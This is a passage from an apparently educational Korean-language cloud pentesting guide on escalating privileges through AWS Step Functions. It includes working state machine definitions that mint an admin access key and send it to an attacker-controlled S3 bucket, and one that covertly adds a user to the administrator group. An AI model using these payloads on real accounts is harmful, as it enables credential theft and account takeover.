states:TestState 및 iam:PassRole 권한을 가진 공격자는 기존 상태 기계를 생성하거나 업데이트하지 않고도 모든 상태를 테스트하고 IAM 역할을 전달할 수 있어, 역할의 권한으로 다른 AWS 서비스에 무단으로 접근할 수 있습니다. 이 권한이 결합되면 워크플로를 조작하여 데이터를 변경하거나 데이터 유출, 리소스 조작 및 권한 상승과 같은 광범위한 무단 작업으로 이어질 수 있습니다.
다음 예제는 이러한 권한과 AWS 환경의 관대한 역할을 활용하여 admin 사용자에 대한 액세스 키를 생성하는 상태를 테스트하는 방법을 보여줍니다. 이 관대한 역할은 상태가 iam:CreateAccessKey 작업을 수행할 수 있도록 하는 고급 권한 정책(예: arn:aws:iam::aws:policy/AdministratorAccess)이 연결되어 있어야 합니다:
states:CreateStateMachine 및 iam:PassRole 권한을 가진 공격자는 상태 기계를 생성하고 이를 위해 어떤 IAM 역할이든 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 승인되지 않은 접근을 가능하게 합니다. 이전의 권한 상승 기법(states:TestState & iam:PassRole)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 states:StartExecution 또는 states:StartSyncExecution 권한이 필요합니다 (**states:StartSyncExecution**은 **표준 워크플로우에 대해 사용할 수 없으며, 표현 상태 기계에만 해당됩니다).
# Create a state machineaws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]# Start a state machine executionawsstatesstart-execution--state-machine-arn<value> [--name <value>] [--input <value>] [--trace-header <value>]# Start a Synchronous Express state machine executionawsstatesstart-sync-execution--state-machine-arn<value> [--name <value>] [--input <value>] [--trace-header <value>]
다음 예제는 admin 사용자에 대한 액세스 키를 생성하고 이 액세스 키를 공격자가 제어하는 S3 버킷으로 유출하는 상태 기계를 만드는 방법을 보여줍니다. 이는 이러한 권한과 AWS 환경의 관대한 역할을 활용합니다. 이 관대한 역할은 상태 기계가 iam:CreateAccessKey 및 s3:putObject 작업을 수행할 수 있도록 하는 고급 권한 정책(예: arn:aws:iam::aws:policy/AdministratorAccess)이 연결되어 있어야 합니다.
stateMachineDefinition.json:
{"Comment":"Malicious state machine to create IAM access key and upload to S3","StartAt":"CreateAccessKey","States": {"CreateAccessKey": {"Type":"Task","Resource":"arn:aws:states:::aws-sdk:iam:createAccessKey","Parameters": {"UserName":"admin"},"ResultPath":"$.AccessKeyResult","Next":"PrepareS3PutObject"},"PrepareS3PutObject": {"Type":"Pass","Parameters": {"Body.$":"$.AccessKeyResult.AccessKey","Bucket":"attacker-controlled-S3-bucket","Key":"AccessKey.json"},"ResultPath":"$.S3PutObjectParams","Next":"PutObject"},"PutObject": {"Type":"Task","Resource":"arn:aws:states:::aws-sdk:s3:putObject","Parameters": {"Body.$":"$.S3PutObjectParams.Body","Bucket.$":"$.S3PutObjectParams.Bucket","Key.$":"$.S3PutObjectParams.Key"},"End":true}}}
states:UpdateStateMachine 권한을 가진 공격자는 상태 기계의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 은밀한 상태를 추가할 수 있습니다. 이렇게 하면, 합법적인 사용자가 상태 기계의 실행을 시작할 때 이 새로운 악의적인 은밀한 상태가 실행되고 권한 상승이 성공하게 됩니다.
상태 기계와 연결된 IAM 역할이 얼마나 관대하게 설정되어 있는지에 따라 공격자는 2가지 상황에 직면할 수 있습니다:
관대한 IAM 역할: 상태 기계와 연결된 IAM 역할이 이미 관대하다면(예: arn:aws:iam::aws:policy/AdministratorAccess 정책이 첨부되어 있는 경우), 권한 상승을 위해 iam:PassRole 권한이 필요하지 않습니다. 상태 기계 정의만으로도 충분합니다.
비관대한 IAM 역할: 이전 경우와 대조적으로, 여기서 공격자는 상태 기계 정의를 수정하는 것 외에도 상태 기계에 관대한 IAM 역할을 연결해야 하므로 iam:PassRole 권한이 필요합니다.
다음 예제는 HelloWorld Lambda 함수를 호출하는 합법적인 상태 기계를 업데이트하여 사용자 **unprivilegedUser**를 administrator IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 합법적인 사용자가 업데이트된 상태 기계의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공하게 됩니다.
상태 기계에 관대한 IAM 역할이 연결되어 있지 않은 경우, 관대한 IAM 역할을 연결하기 위해 IAM 역할을 업데이트하는 데 iam:PassRole 권한이 필요합니다 (예: arn:aws:iam::aws:policy/AdministratorAccess 정책이 연결된 역할).
{"Comment":"Hello world from Lambda state machine","StartAt":"Start PassState","States": {"Start PassState": {"Type":"Pass","Next":"LambdaInvoke"},"LambdaInvoke": {"Type":"Task","Resource":"arn:aws:states:::lambda:invoke","Parameters": {"FunctionName":"arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"},"Next":"End PassState"},"End PassState": {"Type":"Pass","End":true}}}
{"Comment":"Hello world from Lambda state machine","StartAt":"Start PassState","States": {"Start PassState": {"Type":"Pass","Next":"LambdaInvoke"},"LambdaInvoke": {"Type":"Task","Resource":"arn:aws:states:::lambda:invoke","Parameters": {"FunctionName":"arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"},"Next":"AddUserToGroup"},"AddUserToGroup": {"Type":"Task","Parameters": {"GroupName":"administrator","UserName":"unprivilegedUser"},"Resource":"arn:aws:states:::aws-sdk:iam:addUserToGroup","Next":"End PassState"},"End PassState": {"Type":"Pass","End":true}}}